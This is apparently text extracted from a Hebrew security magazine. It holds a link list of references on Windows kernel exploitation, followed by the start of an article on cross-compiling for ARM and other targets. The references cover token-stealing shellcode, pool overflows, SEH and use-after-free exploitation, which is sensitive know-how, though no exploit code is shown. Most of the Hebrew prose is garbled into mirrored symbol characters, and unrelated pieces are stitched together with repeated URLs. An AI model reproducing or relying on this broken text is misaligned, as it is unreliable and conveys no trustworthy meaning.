https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/what-is-a-driver- 

3. ˪˰ s-IO/Manager: 

https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-Kernel-Mode-i-o-manager 

4. ˭ˣ˦˶˯ ˶˞˸ˬ˷ ˸˞ ˭˲ˣ˞ ˢ˪ˣ˰˲ˢ ˧˪˪˩ˢ ˪˷ ˫˧˶˟˧˧˶ˡ: 

https://www.youtube.com/watch?v=3ffZbDB-pg4&index=2&list=PLZ4EgN7ZCzJyUT-FmgHsW4e9BxfP-

VMuo 

5. ˪˰ WDM x-WDF: 

http://www.osronline.com/article.cfm?article=489 

https://stackoverflow.com/questions/16569526/what-is-the-difference-between-a-wdm-driver-a-kmdf-

driver-and-a-umdf-driver 

http://driverentry.com.br/en/blog/?p=68 

6. ˞ˣ˟ˬ ˸˟˧˸˩˪ ˫˧˶˟˧˧˶ˡ ˟-Code Project: 

https://www.codeproject.com/Articles/9504/Driver-Development-Part-Introduction-to-Drivers 

https://www.codeproject.com/Articles/9575/Driver-Development-Part-Introduction-to-Implemen 

7. ˪˰ Access Tokens: 

https://msdn.microsoft.com/en-us/library/windows/desktop/aa374909(v=vs.85).aspx 

8. ˶ˬ˞ˬ ˬ-2012 ˵˯ˣ˰ˢ ˸˧˧˴˦˧ˣ˪ˣ˲˯˵˞˟ ˪ˮ˶˵ ˸˧ˬˣ˵ˬ ˪˰ ˸ˮˬ ˰˴˟˪ EoP : 

https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf 

9. ˶ˬ˞ˬ ˭˸ˣˮ˷ ˯˧˯˟ ˟ˣ˦ ˪-kernel debugging ˫˰ windbg & VirtualKD : 

https://www.contextis.com/blog/introduction-debugging-windows-kernel-windbg 

10. ˪˰ ˠˣ˟˧ˡ ˫˰ ˫˧˪ˣ˟ˬ˧˯: 

https://msdn.microsoft.com/en-us/library/windows/desktop/ee416588(v=vs.85).aspx 

11. ˶ˬ˞ˬ ˵˯ˣ˰˷ ˥ˣ˸˧˲˟ Token Stealing Shellcode ˟-Windows 732bit: 

https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing- 

12. ˡˣ˵ ˶ˣ˵ˬˢ ˪˷ HEVD: 

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver  

13. ˪˰ try-except: 

https://msdn.microsoft.com/en-us/library/s58ftw19.aspx 

14. ˶ˬ˞ˬ ˢ˪ˣ˰ˬ ˪˰ SEH Exploitation: 

https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-

seh/ 

15. ˯ˣ˶˟˧˶ ˪˷ ˭ˣˮˠˮˬ s-SEH ˟-MSVC++: 

http://www.openrce.org/articles/full_view/21 

https://blog.codinghorror.com/understanding-user-and-Kernel-Mode
https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/what-is-a-driver-
https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-Kernel-Mode-i-o-manager
https://www.youtube.com/watch?v=3ffZbDB-pg4&index=2&list=PLZ4EgN7ZCzJyUT-FmgHsW4e9BxfP-VMuo
https://www.youtube.com/watch?v=3ffZbDB-pg4&index=2&list=PLZ4EgN7ZCzJyUT-FmgHsW4e9BxfP-VMuo
http://www.osronline.com/article.cfm?article=489
https://stackoverflow.com/questions/16569526/what-is-the-difference-between-a-wdm-driver-a-kmdf-driver-and-a-umdf-driver
https://stackoverflow.com/questions/16569526/what-is-the-difference-between-a-wdm-driver-a-kmdf-driver-and-a-umdf-driver
http://driverentry.com.br/en/blog/?p=68
https://www.codeproject.com/Articles/9504/Driver-Development-Part-Introduction-to-Drivers
https://www.codeproject.com/Articles/9575/Driver-Development-Part-Introduction-to-Implemen
https://msdn.microsoft.com/en-us/library/windows/desktop/aa374909(v=vs.85).aspx
https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf
https://www.contextis.com/blog/introduction-debugging-windows-kernel-windbg
https://msdn.microsoft.com/en-us/library/windows/desktop/ee416588(v=vs.85).aspx
https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
https://msdn.microsoft.com/en-us/library/s58ftw19.aspx
https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
http://www.openrce.org/articles/full_view/21
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16. ˪˰ ˸˲˧˵˰ stack cookies ˟-Windows: 

https://dl.packetstormsecurity.net/papers/bypass/defeating-w2k3-stack-protection.pdf 

17. ˶ˬ˞ˬ ˪˰ CVE-2015-0336 - ˸˷˪ˣ˥ Type Confusion ˷˞˪˲˟ : 

https://blogs.technet.microsoft.com/mmpc/2015/06/17/understanding-type-confusion-vulnerabilities-cve-2015-0336/ 

18. ˪˰ ˪ˣ˴˧ˮ ˸ˣ˷˪ˣ˥ Double-Fetch ˪ˮ˶˵˟: 

http://j00ru.vexillium.org/?p=1880 

19. ˪˰ ˸˷˪ˣ˥ Null Dereference ˟-win32k ˬ-2013: 

https://www.endgame.com/blog/technical-blog/microsoft-win32k-null-page-vulnerability-technical-

analysis 

20. ˪˰ s-Object Manager ˟-Windows: 

https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-Kernel-Mode-object-

manager 

21. ˪˰ ˫˧˦˵˧˧˟ˣ˞ ˫˧˧˪ˮ˶˵ ˟-Windows: 

http://computer.forensikblog.de/en/2009/04/kernel-objects.html 

22. ˪˰ Object Headers ˟-Windows7: 

http://codemachine.com/article_objectheader.html 

23. ˪˰ ˪ˣ˴˧ˮ Pool Overflows ˸ˣ˰˴ˬ˞˟ ˸˯˧˶ˡ TypeIndex: 

http://srcincite.io/blog/2017/09/06/sharks-in-the-pool-mixed-object-exploitation-in-the-windows-kernel-pool.html 

24. ˪˰ Pool Spraying: 

http://trackwatch.com/windows-kernel-pool-spraying/ 

25. "Karnel Pool Exploitation on Windows 7 "˸˞ˬ Tarjei Mandt: 

https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf 

26. Nikita Tarakanov - Exploiting Hardcore Pool Corruptions in Microsoft Windows Kernel :ˣ˞ˡ˧ˣ : 

https://www.youtube.com/watch?v=tg4eb0wtiAQ 
˸ˣ˧˲ˣ˵˷ˣ: 

http://www.nosuchcon.org/talks/2013/D3_02_Nikita_Exploiting_Hardcore_Pool_Corruptions_in_Microsoft_Windows

_Kernel.pdf 

poolinfo ˟-GitHub )Poolinfo ˞ˣˢ ˱˯ˣ˸ ˪-WinDbg ˶˷˲˞ˬˢ ˥ˣ˸˧ˮ ˦ˣ˷˲ ˶˸ˣ˧ ˪˷ memory pools:( 

https://github.com/fishstiqz/poolinfo 

27. ˭ˣ˦˶˯ ˶˟˯ˢ ˪˰ s-Call Stack: 

https://www.youtube.com/watch?v=Q2sFmqvpBe0 

28. ˪˰ Stack-Spraying ˟-Kernel ˫˰ nt!NtMapUserPhysicalPages: 

http://j00ru.vexillium.org/?p=769 

29. ˶ˬ˞ˬˢ "Use Freed Memory For Fun And Profit "˸˞ˬ ˫˥ˮˬ ˶˞˧ˣ˶˟ ˫˯˶ˣ˲˷ ˭ˣ˪˧ˠ˟ s-60 ˪˷ ˭˧ˤˠˬˢ : 

https://www.digitalwhisper.co.il/files/Zines/0x3C/DW60-1-UaF.pdf 

30. Exploiting Common Flaws in Drivers ˸˞ˬ Ruben Santamarta : 

http://shinnai.altervista.org/papers_videos/ECFID.pdf 

  

https://dl.packetstormsecurity.net/papers/bypass/defeating-w2k3-stack-protection.pdf
https://blogs.technet.microsoft.com/mmpc/2015/06/17/understanding-type-confusion-vulnerabilities-cve-2015-0336/
http://j00ru.vexillium.org/?p=1880
https://www.endgame.com/blog/technical-blog/microsoft-win32k-null-page-vulnerability-technical-analysis
https://www.endgame.com/blog/technical-blog/microsoft-win32k-null-page-vulnerability-technical-analysis
https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-Kernel-Mode-object-manager
https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-Kernel-Mode-object-manager
http://computer.forensikblog.de/en/2009/04/kernel-objects.html
http://codemachine.com/article_objectheader.html
http://srcincite.io/blog/2017/09/06/sharks-in-the-pool-mixed-object-exploitation-in-the-windows-kernel-pool.html
http://trackwatch.com/windows-kernel-pool-spraying/
https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf
https://www.youtube.com/watch?v=tg4eb0wtiAQ
http://www.nosuchcon.org/talks/2013/D3_02_Nikita_Exploiting_Hardcore_Pool_Corruptions_in_Microsoft_Windows_Kernel.pdf
http://www.nosuchcon.org/talks/2013/D3_02_Nikita_Exploiting_Hardcore_Pool_Corruptions_in_Microsoft_Windows_Kernel.pdf
https://github.com/fishstiqz/poolinfo
https://www.youtube.com/watch?v=Q2sFmqvpBe0
http://j00ru.vexillium.org/?p=769
https://www.digitalwhisper.co.il/files/Zines/0x3C/DW60-1-UaF.pdf
http://shinnai.altervista.org/papers_videos/ECFID.pdf
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If You Build It - It Will (Cross) Compile 
˸˞ˬ Blondy314 

 

ˢˬˡ˵ˢ  

˞˟ˢ ˷˧˥˶˸ˢ ˸˞ ˣˮ˧˧ˬˡ:  ˭ˣ˲˪˦ ˪˰ ˥˧ˮˮ ,˸ˬ˧ˣ˯ˬ ˢˮˣ˩ˬ ˪˰ ˳˧˶ˢ˪ ˢ˴˶˞˷ ˡˣ˵ ˧˸˟˸˩Android  ˰ˣˡ˧˩˷

 ˳˧˶ˬLinux  ˡ˟˰ˬ ˪˰ARM ˞˧ˢ ˧˪˷ ˥ˣ˸˧˲ˢ ˸˟˧˟˯ ˡˣ˰˟ ,Ubuntu  ˡ˟˰ˬ ˪˰ ˳˶˷Intel x86 ˪˲ˬ˵˞ ˫˞ .

˷˧˷ ˶˪˧˧˲ˬˣ˵ˢ ˸ˣ˰˴ˬ˞˟ ˧˪˷ ˢˮˣ˩ˬˢ ˪˰ ˡˣ˵ˢ ˸˞ ˡ˟˰ˬ ˪˰ ˵˶ ˳ˣ˶˪ ˪˩ˣ˧ ˶˷˞ ˧˶˞ˮ˧˟ ˧˪ ˶˴ˣˣ˧˧ ˢ˧˪˰ ˧

Intelˢ˞˧ˠ˷ ˪˟˵˞ ˣ˸ˣ˞ ˳˧˶˞ˣ ˧˪˷ ˭ˣ˲˪˦˪ ˣ˸ˣ˞ ˵˧˸˰˞ˣ ˢˡ˧ˬ˟ .: 

./ main  

sh :  ./ main :  not  executable :  32- bit  ELF file  

 

 ?ˢ˶ˣ˵ ˢˤ ˢˬ˪ 

 ˸˲˷ ˣˮ˪˷ ˢ˶˵ˬ˟) "˸˧˪˧˰ˢ" ˢ˲˷ˢ ˸˞ ˫ˠ˶˸ˬ ˞ˣˢ ˫˧ˣ˯ˬ ˶˪˧˧˲ˬˣ˵ ˫˰ ˡˣ˵ ˫˧˪˲ˬ˵ˬ ˶˷˞˩C˪ ( ˸˲˷

ˢˮˣ˩ˬ  ˫˰ ˧˪˟ˬ˯˞ ˡˣ˵ˬ ˟˩˶ˣˬˢ ˧˶˞ˮ˧˟ ˳˟ˣ˵ ˶˴˧˧ˬˣop-code- ˫˧ˮˣ˷ˢ ˫˧ˡ˟˰ˬˢ .˶˧˩ˬ ˡ˟˰ˬˢ˷ ˫˧

 .˶˥˞ ˡ˟˰ˬ ˶ˣ˟˰ ˪˲ˬˣ˵˷ ˡˣ˵ ˳˧˶ˢ˪ ˫˧˪ˣ˩˧ ˞˪ ˭˩˪ˣ ˫˧ˮˣ˷ ˫˧ˮ˧˧˲˞ˬ˟ˣ ˸ˣˡˣ˵˲˟ ˫˧˩ˬˣ˸ 

 ˪˰ ˟ˣ˷˥˪ ˭˸˧ˮˢˤ ˭˧˧ˮ˰  ˸ˣ˞˶ˣˢ ˦˯˩˫˸˞˷ ˯ˮˬ˫˧  ˭ˣˮˠˮˬ˪ ˡ˥˞ ˭ˣˮˠˮˬˬ ˨˧˪˷ˢ˪˧ˮ˷ ˸˶˥˞ ˡ˟ˣ˰˷ .

 ˟˩˶ ˪˷ ˢˠˢˬ ˸ˣˮˣ˷ ˯ˣ˦ˬ ˪˷ ˢˠˢ˟ ˰˴˟ˮ˷ ˸ˣ˪ˣ˰˲ˢ ,˞ˬˠˣˡ˪- ˣ ˢˡ˧ˬ˟ ˢˠˢ ˸˞ ˨ˣ˷ˬˮ ˯ˣ˦ˬˢˣˮ˧˲˪˩ ,

 ˞ˣˢ˟˩˶˟ ˸˞ˤ ˢ˷˰ˮ ˫˞ ˣ˪˧˞ˣ ˢ˪˰ˬ ˧˲˪˩ ˫ˬˣ˶˸˧ - .˫ˣ˪˩ ˢ˶˵˧ ˞˪ 

 ˡ˟˰ˬ ˶ˣ˟˰ ˡˣ˵ˢ ˸˞ ˪˲ˬ˵˪ ˪˩ˣ˞ ˸˞ˤ ˪˩˟ ˨˧˞ ˤ˞ARM ˪˰ ˣ˸ˣ˞ ˪˲ˬ˵˪ ˞˧ˢ ˢˡ˧˥˧ˢ ˨˶ˡˢ ˫˞ˢ ?

?˧˲˧˴˲˯ˢ ˡ˟˰ˬˢ 

˷ ˭˟ˣˬ˩ ˸˧˪˧˪˷ ˞˧ˢ ˢ˟ˣ˷˸ˢ)˶˴˵ ˧ˡ ˢ˧ˢ ˢˤˢ ˶ˬ˞ˬˢ ˸˶˥˞(..  

˞ ˟ˣ˶˵ˢ ˶ˬ˞ˬ˟.˭˧˧ˮ˰˪ ˸ˣˮˣ˶˸˲ˢ ˸˞ ˠ˧˴˞ˣ ,ˣˤ ˢ˪˞˷ ˪˰ ˢ˟˥˶ˢ˟ ˢˮ˰  ˯˥˧˧˸˞ ˯˵ˣˮ˧˪ ˸˟˧˟˯˟ ˥ˣ˸˧˲˪

 ˭ˣˠ˩ ˸ˣ˶˥˞ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ˪ ˫ˠ ˧˦ˮˣˣ˪˶ ˭ˣˮˠˮˬˢ ˨˞Windows  ˣ˞Mac. 
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 ˣ˵ ˶˷˧˧ˮ ˣ˞ˣ˟ ˞˷ˣˮˢ ˵ˬˣ˰˪ ˪ˣ˪˴˪ ˪˧˥˸ˮ˷ ˧ˮ˲˪˫˰  ˶˲˯ˬ˫ˣ˥˸˟ ˯˧˯˟ ˧ˠ˷ˣˬ: 

¶ ELF - Executable and Linkable Format ,ˢ˴˶ˢ ˳˟ˣ˵ ˸ˣ˧ˢ˪ ˪ˣ˩˧) ˧˯˵ˣˮ˧˪ ˦ˬ˶ˣ˲˟ ˧˶˞ˮ˧˟ ˳˟ˣ˵ ,

 ,ˢ˧˧˶˲˯obj( 

¶ Open Source -  ˞ˬˠˣˡ˪ .˫ˮ˧˥ ˢˡ˶ˣˢ˪ ˭˸˧ˮ˷ ˧˟ˬˣ˲ ˡˣ˵ ˪˷ ˱˯ˣ˞Linux  ˣˮ˧ˢopen source  ˭˸˧ˮ˷

 ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˣ˪˧˞ˣ ˣˮˮˣ˴˶˩ ˸ˣˮ˷˪ˣ ˞ˣ˶˵˪ ,ˡ˧˶ˣˢ˪Windows  ˞˶˵ˮ˷ ˢˬ) ˢˮ˧˞Closed Source( 

¶ GNU -  ˦˵˧ˣ˶˲open source ˢ ˸˟˧˟˯ ˟ˣ˶ ˸˞ ˢˣˣˢˬ˷-user mode  ˯˥˧˧˸ˬ ˯˵ˣˮ˧˪) ˯˵ˣˮ˧˪ ˪˷

˪ ˶˵˧˰˟-Kernel .(GNU  ˸ˣ˧˶ˣˤ˥ˬ ˸ˣ˟˧˸ ˧˷˞˶ ˫ˮ˧ˢ- GNU Not Unix  ˫ˣ˥˸˟ ˳ˣ˲ˮ ˡˮ˶˦ ˣˢˤ)

 ˭ˣˠ˩ ˸ˣ˧˶ˣˤ˥ˬ ˸ˣ˟˧˸ ˧˷˞˶ ˸ˣ˷˰˪ ˫˧˟˷˥ˬˢPHP, CURL, Nagios, XBMC ˡˣ˰ˣ( 

¶ gcc - GNU Compiler Collection ˪˷ ˶˪˧˧˲ˬˣ˵ ,GNU ) ˸ˣˮ˩˸ ˸ˣ˲˷ ˪˪˷˟ ˨ˬˣ˸˷C ,Objective-C ,

Java ,GO ˡˣ˰ˣ(  ˸ˣ˯˯ˣ˟ˬ˷ ˸ˣˮˣ˩ˬˢ ˟ˣ˶˟ ˧˦˶ˡˮ˦˯ˢ ˶˪˧˧˲ˬˣ˵ˢ ˸˞ ˢˣˣˢˬˣUNIX 

¶ libc - C Standard Library ˢ˧˧˶˲˯ ,˞˷ ˶ˢ ˸˞ ˸˲˦ˣ˰-syscall- ˦˯ ˷ˬ˸˷ˬ˪ ˸˵˲˯ˬˣ ˸˩˶˰ˬ˟ ˫˧

˷ ˸ˣ˧˴˵ˮˣ˲ ˪ˢ˷ˣˬ˧˷˪ ˸ˣ˥ˣˮ 

¶ glibc - GNU libc˯˵ˣˮ˧˪˟ ˷ˣˬ˧˷˟ ˶˸ˣ˧˟ ˢ˴ˣ˲ˮˢ ˢ˧˧˶˲˯ˢ , 

¶ Makefile -  ˳˟ˣ˵ˢ "˸ˣ˞˶ˣˢ" ˸ˣ˦˶ˣ˲ˬ ˣ˟ˣ ˶˪˧˧˲ˬˣ˵ˢ ˸˞ ˳˧˶ˢ˪ ˶˷˲˞ˬ

ˣ˶ˣ˟˰ 

,˸˰˩ˣ ...ˣˮ˧ˮ˧˧ˮ˰˪ 

Cross Compiling 

Cross Compiling  ˭˪ˢ˪)CC ˢˮˣ˩ˬ ˪˰ ˡˣ˵ ˪˲ˬ˵˪ ˢ˦˧˷ ˢˮ˧ˢ (A ˢ)-Host˩ˣ˧ ˶˷˞ ( ˢˮˣ˩ˬ ˪˰ ˳ˣ˶˪ ˪B 

ˢ)-Target ˸ˣ˰˴ˬ˞˟ .(CC ˣˮ˞  ˶ˣ˴˧˪ ˰ˡ˧ ˶˷˞ ˶˪˧˧˲ˬˣ˵ ˫˧˪˲ˬ˵ˬ ˫˴˰˟ ˳˟ˣ˵ˢ ˪˰ ˳ˣ˶˪ ˪˩ˣ˧˷ ˧˶˞ˮ˧˟-

Target . 

ˢ ˭˧˟ ˧ˮˣ˷ˢ-Host ˢ ˭˧˟˪-Target ˫˧ˮ˧˧˲˞ˬ ˶˲˯ˬ˟ ˸ˣ˧ˢ˪ ˪ˣ˩˧: 

1. ˡ˟˰ˬ: :˫˧ˡ˟˰ˬ ˧ˠˣ˯ ˪˷ ˟˶ ˭ˣˣˠˬ ˣˮ˷˧ Intel ,ARM ,MIPS ,PPC ,SPARC ˡˣ˰ˣ 

¶ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˟ ˫ˠ ˢˮˣ˷-Bitness )32 \  64  (˦˧˟ 

¶ ˟ ˫ˠ ˢˮˣ˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧-Endianness ) ˭ˣ˶˩˧ˤ˟ ˫˧˶ˡˣ˯ˬ ˫˧˸˟ˢ ˣ˟ ˶ˡ˯ˢ ˸˞ ˰˟ˣ˵ ˶˷˞Little \  

Big( 

¶  ˸ˣ˧ˢ˪ ˪ˣ˩˧˷ ˫ˠˡ ˸˸ ˫ˠ ˷˧ ˡ˟˰ˬ ˪˩˪˪˰˟ Instruction Set  ˶ˣ˟˰ ˪˷ˬ˪ .ˢˮˣ˷ARM ˫ˮ˷˧: 

Armv9, 

Armv7,Cortex  ˡˣ˰ˣ 
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2. ˸˩˶˰ˬ ˢ˪˰˲ˢ :ˢ ˫˪ˣ˰ ˸ˬˣ˰˪-Windows  ˭˧˟ ˪ˣ˲ˬ˵˟ ˪ˡ˟ˢ ˭˧˞) ˸˥˞ ˢ˪˰˲ˢ ˸˩˶˰ˬ ˵˶ ˷˧ ˣ˟

XP ,Win7 ,Win10  ˵˶ ˞˪˞ 'ˣ˩ˣ32 \  64 (˦˧˟, ˢ ˫˪ˣ˰˟-Unix  ˭ˢ˧ˮ˧˟ ˸ˣˮˣ˷˷ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ ˪˪˷ ˷˧

˪ˣ˲ˬ˵˟: 

¶ Linux 

¶ FreeBSD 

¶ Darwin  ˸˯˯ˣ˟ˬ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ)Unix  ˸˶˟˥ ˪˷Apple  ˭ˣˠ˩Mac x-iPhone \  iPod( 

¶ Solaris ˲ˢ ˸˩˶˰ˬ) ˧˟˧˩˶ ˶˸˧ˢ ˭˧˟ ˸˷ˬ˷ˬ˷ ˢ˪˰Oracle( 

¶ ˡˣ˰ˣ 

 ˪˰ ˫˧˶˟ˡˬ ˶˷˞˩Cross Compiling˪˟˪˟˸ˢ˪ ˭˸˧ˮ ,  ˦˲˯ˮˣ˵ ˫˰ˢˮˣ˷  ˢ˲˷˪ ˢ˲˷ˬ ˡˣ˵ ˸˶ˬˢ ˪˷

 ˞˶˵ˮ˷Source To Source ˸˲˷˟ ˟˸˩ˮ˷ ˭˷˧ ˡˣ˵ ˸˶ˬˢ ˪˷ˬ˪ .Fortran  ˸˲˷˪C ˰˴˟˸ˬ ˢˤ˩ ˨˧˪ˢ˸ .

 ˧"˰ˢˮˣ˩ˬˢ ˟˧˩˶ Trans-compiler  ˣ˞Transpiler ˮˢ ˨˞˟ ˣˮ˧˞ ˢˤˢ ˞˷ˣ-scope .ˣ˧˪˞ ˯ˮ˩˧ˮ ˞˪ ˭˩˪ˣ ˣˮ˪˷ 

 ˞ˬˠˣˡ˪ ˶ˣˤ˥ˮ ˫˞˸ˬˡˣ˵ˢ ˸ˮˣ˩ˬ ˢ˸ˣ˞ ˪˰ ,Ubuntu  ˪˲ˬ˵˪ ˪˩ˣ˞ ˧ˮ˞ELF s˭ˣ˲˪˦ ˪˰ ˳ˣ˶˪ ˫˞˸ˣˬ 

˳˧˶ˬˢ Android. 

 ˨˧˶˴ ˫˴˰˟ ˢˬ˪ ˤ˞Cross Compiling˪ ˢˬ˧˞˸ˬ˷ ˢˮˣ˩ˬ ˪˰ ˪˲ˬ˵˪ ˞˪ ˢˬ˪ ?-spec ˢ ˪˷-target ? 

˸ˣ˟˧˯ ˶˲˯ˬˬ ˸˟˩˶ˣˬ ˢ˟ˣ˷˸ˢ: 

¶  ˸˧˸˷˸-  ˸ˣ˟˧˟˯˟ ˪˷ˬ˪ .ˡ˰˧ˢ ˸ˮˣ˩ˬ ˪˰ ˪ˣ˲ˬ˵˪ ˸˧˸˷˸ˢ ˸˞ ˷˧ ˡ˧ˬ˸ ˞˪Embedded  ˭ˮ˧˞˷

ˢ˧˪˰ ˳˶ˣˬ ˶˷˞ ˢ˯˧˟˩ ˸ˮˣ˩ˬ ˣ˞ ˥˟˦ˬ ˶ˣˮ˸ ˸ˬˠˣˡ˩ ˶˪˧˧˲ˬˣ˵ ˭ˢ˧˪˰ ˳˧˶ˢ˪ ˧ˡ˩ ˵˧˲˯ˬ ˸ˣ˵ˤ˥ ˭

˯˵ˣˮ˧˪ 

¶  ˫˧˰ˣ˴˧˟ˣ ˸ˣ˶˧ˢˬ- ˢ˧˪˰ ˡˣ˵ ˪˲ˬ˵˪ ˟˶ ˭ˬˤ ˥˵˧˧ ˭˩˪ˣ ˸˧˦˧˞ ˡˣ˞ˬ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˡ˰˧ˢ ˸ˮˣ˩ˬ 

¶  ˸ˣˮ˧ˬˤ-  ˫ˠ ˞˧ˢ ˸˲˯ˣˮ ˢ˟˧˯ .˫˩˪˷ ˧˶˞ˮ˧˟ˢ ˡ˰ˣ˧ˬ ˢ˧˪˞˷ ˢˮˣ˩ˬˢ ˫˩˸ˣ˷˶˟ ˢ˧ˢ˸ ˡ˧ˬ˸ ˞˪

˷˧ ˶˟˩˷ ˢˬ ˪˰ ˪˲ˬ˵˪ ˭˸˧ˮ˷˩ ˶˵˧ ˸ˣ˧ˢ˪ ˪ˣ˩˧˷ ˶˥˞ ˟˧˩˶ ˷ˣ˩˶˪ ˢˬ˪ ,˸˧˪˩˪˩ 

¶  ˸ˣ˧˦˯ˣ˟ˣ˶-  ˸ˣ˰˴ˬ˞˟ ˸ˣ˶˥˞ ˸ˣ˟˧˟˯ ˪˷ ˟˶ ˭ˣˣˠˬ˪ ˪˲ˬ˵˪ ˭˸˧ˮ ˢ˟ ˸˥˞ ˢ˟˧˟˯ ˫˧˵ˢ˪ ˶˷˲˞

ˢ ˭ˬˤ˟ ˳˶ˣˬ˷ ˡ˥˞ ˦˲˧˶˵˯-build  ˪˷ ˦˯ ˣˮ˧˧ˬˡ .˶˴ˣˬˢ ˪˷makefile-˫˧: make-linux-armv7 ,

make-mips ,make-darwin 'ˣ˩ˣ 

) ˸ˮ˧˧ˮ˰ˬ ˞ˬˠˣˡˣ ˢˮ˧ˢ (ˢˮ˷˧ ˧ˡCanadian Cross Compiling  ˫˧ˮˣ˟ ˢ˟˷Cross Compiler  ˢˮˣ˟˷

Compiler  ˢˣˣˢˬ˷ ˱˯ˣˮCross Compiler  ˢˮˣ˩ˬ˟ ,˶ˬˣ˪˩ .˸˲˯ˣˮ ˢˮˣ˩ˬ˪A ˶˪˧˧˲ˬˣ˵ ˫˧˪˲ˬ˵ˬ  ˪˩ˣ˧ ˶˷˞

 ˢˮˣ˩ˬ ˪˰ ˳ˣ˶˪B  ˢˮˣ˩ˬ ˪˰ ˳ˣ˶˪ ˪˩ˣ˧˷ ˱˯ˣˮ ˶˪˧˧˲ˬˣ˵ ˪˲ˬ˵˧ ˞ˣˢ ˢ˧˪˰C ˣ˷ˬ˸˷˧ ˣˤ ˢ˦˧˷˟ ˢ˴˶ˢ˟ .

˫˧˪ˠˡ˟: 

-- build =[ Compiler  A Host ]  -- host =[ Compiler  A Target ]  -- target =[ Compiler  

Target ]  

 ˪˷ ˪ˣ˲ˬ˵ ˞˧ˢ ˣˤ ˢ˵˧ˮ˩˦˟ ˷ˣˬ˧˷˪ ˞ˬˠˣˡCross Compiler  ˶ˣ˟˰ ˯˵ˣˮ˧˪ ˪˰Windows  ˳ˣ˶˧ ˶˷˞

˪˰Windows   ˡ˟˰ˬ ˶ˣ˟˰ ˫˧˶˞ˮ˧˟ ˪˲ˬ˵˧ˣMIPS...˧ˮ˞ ˫ˠ ?˫˸˩˟˸˯ˢ . 

 ˢ˶ˤˣˬˢ ˢ˟˧˯ˢˬ ˨˩ ˸˞˶˵ˮ ˢ˵˧ˮ˩˦ˢˢ˲ˣ˵˸˟˷ ˢ˟˷ ˸ˣ˧˦˧˪ˣ˲ ˸ˣˠ˪˲ˬ ˷ˣ˪˷ ˢˡˮ˵˟ ˣ˧ˢ ˢ˧˪˰ ˣ˟˷˥. 
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Binutils 

ˢ ˸˶ˠ˯ˬ˟-Cross Compiling  ˪˷ ˦˯ ,˶˸˧ˢ ˭˧˟ ,˪˟˵ˮ ˣˮ˥ˮ˞Binutils )Binary Utilities (- ˧˟ ˶˷˞ ˫˧˧˶˞ˮ

 ˧˪˩˪ ˸ˣ˞ˬˠˣˡ .˪ˣ˲ˬ˵˟ ˫˧˶˴ˣˮ˷ ˫˧˧˶˞ˮ˧˟ ˪˷ ˪ˣˢ˧ˮˣ ˢ˶˧˴˧˪ ˫˧˪˩ ˫˧ˣˣˢˬBinutils ˫˧˟ˣ˷˥: 

¶ as - ˢ ˸˞ ˢˣˣˢˬ˷ ˶˪˟ˬ˯˞ˢ-backend ˩ ˫ˠ ˶˩ˣˬ) ˶˪˧˧˲ˬˣ˵ˢ ˪˷-GAS - GNU Assembler( 

¶ ld -  ˧˴˟˵ ˶˸ˣ˧ ˣ˞ ˡ˥˞ ˥˵ˣ˪˷ ˶˵ˮ˧˪ˢobj ˫˸ˣ˞ ˳˟˵ˬˣ (˫ˢ˧˪˞ ˪˲ˬˣ˵ˬ ˡˣ˵ˢ˷ ˫˧˧ˮ˧˟ˢ ˧˴˟˵)  ˧ˡ˩˪

 ˸ˣ˧ˢ˪ ˪ˣ˩˧˷) ˡ˥˞ ˧˶˞ˮ˧˟executable ,lib  ˣ˞obj (˶˥˞ 

¶ ar -  ˧˴˟˵ ˶˴ˣ˧archive ˪˷ˬ˪) ˸ˣ˧˦˦˯ ˸ˣ˧˶˲˯ ˧˴˟˵ ˦˶˲˟ ,libc.a( 

¶ objdump - ˩ ˷ˬ˷˪ ˪ˣ˩˧ˣ ˭ˣ˸ˮ ˧˶˞ˮ˧˟ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˯˧˲ˡˬ-disassembler 

¶ readelf - ˢ ˸˞ ˪˷ˬ˪ .˧˶˞ˮ˧˟ˢ ˢˮ˟ˬ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˠ˧˴ˬ-symbol table ˢ ˸˞ ˣ˞-header-ˢ ˪˷ ˫˧-

ELF 

¶ strip -  ˧˶˞ˮ˧˟ˢ ˪˷ ˪ˡˣˠˢ ˸˞ ˭˧˦˵ˬ ˶˷˞ ˧˶˞ˮ˧˟ˢˬ ˧ˮˣ˧˥ ˞˪ ˰ˡ˧ˬ ˡ˧˶ˣˬ)ˣ ˠˣ˟˧ˡ ˶ˣ˟˰ ˰ˡ˧ˬ ˭ˣˠ˩-

